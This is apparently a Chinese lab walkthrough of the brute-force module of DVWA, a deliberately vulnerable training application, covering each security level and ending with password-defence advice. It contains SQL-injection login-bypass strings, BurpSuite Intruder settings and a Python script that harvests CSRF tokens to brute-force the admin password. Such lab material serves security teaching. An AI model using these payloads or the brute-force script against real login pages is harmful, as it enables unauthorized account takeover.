DVWA1.10之暴力破解


暴力破解简介

暴力破解,是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一


LOW级别

使用BurpSuite进行暴力破解

  1. 抓包

    1.png

  2. 将数据包发送到Intruder

    2.png

    点击Clear清除需要爆破的字段,选中password的值,然后点击Add,将其指定为需爆破的字段

  3. 选择字典

    3.png

  4. 开始破解

    点击右上角Start attack

    4.png

  5. 判断破解出的密码

    5.png

    当使用password进行破解时,响应包的长度与众不同,即可通过这种方式确定password为正确的密码

通过手工SQL注入进行无密码登陆

  1. 永真式注入

    Username :admin' or '1'='1

    Password :(空)

    6.png

  2. 终止式注入

    Username :admin' #

    Password :(空)

    7.png


Medium级别

Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号\x00\n\r\'"\x1a)进行转义,基本上能够抵御SQL注入攻击

虽然SQL注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样


High级别

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:usernamepasswordLogin以及user_token

8.png

每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行SQL查询

High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、mysql_real_escape_string函数对参数usernamepassword进行过滤、转义,进一步抵御SQL注入

破解流程

  1. 首先请求http://172.16.12.93/vulnerabilities/brute/,获取当前的user_token

  2. 使用获取的user_token,以及字典中的密码进行暴力破解

编写脚本进行暴力破解

编写Python2版本脚本xx.py,用于对password参数进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from bs4 import BeautifulSoup
import urllib2
header={'Host': '172.16.12.93',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://172.16.12.93/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'PHPSESSID=1c576ae10332a03dd5c373c9469949e1; security=high'}
requrl = "http://172.16.12.93/vulnerabilities/brute/"

def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.select('input[type="hidden"]')[0].get('value') #get the user_token
return user_token

user_token = get_token(requrl,header)
i=0
for line in open("wordlist.txt"):
requrl = "http://172.16.12.93/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)

10.png

使用BurpSuite进行暴力破解

  1. 首先,进行抓包

    11.png

  2. 将其发送到Intruder模块

    password字段、user_token字段设置为要破解的字段

    设置攻击模式为Pitchfork

    12.png

  3. HTTP请求的线程数设置为1

    13.png

  4. 设置Grep-Extract处,选择Add

    14.png

  5. 设置需要从响应中获取的信息

    1. 点击获取响应

    2. 选择user_token的值,并复制

    3. 点击OK

      15.png

  6. 设置payloads

    第一个字典类型选择简单的列表,选择密码字典

    第二个字典类型选择递归grep,填写第一次请求所使用的payload,即上一步复制的user_token的值

    设置完成后,开始攻击

    16.png

  7. 通过一段时间的暴力破解,即可破解出密码

    17.png


Impossible级别

Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续

9.png

采用了更为安全的PDO(PHP Data Object)机制防御SQL注入


暴力破解防御

  1. 使用高强度的密码(至少8位,数字、大写字母、小写字母、特殊符号)

  2. 设置登陆失败限制次数

  3. 设置密码历史,强制密码修改期限等密码策略


安装python第三方软件包bs4

在线安装

  1. 进入python安装目录下的Script目录

  2. 安装

    1
    pip install beautifulsoup4

离线安装

  1. bs4官网下载tar.gz

  2. 将压缩包解压至python安装目录下,进入解压文件后输入指令

    1
    python setup.py install
---------------The End---------------
0%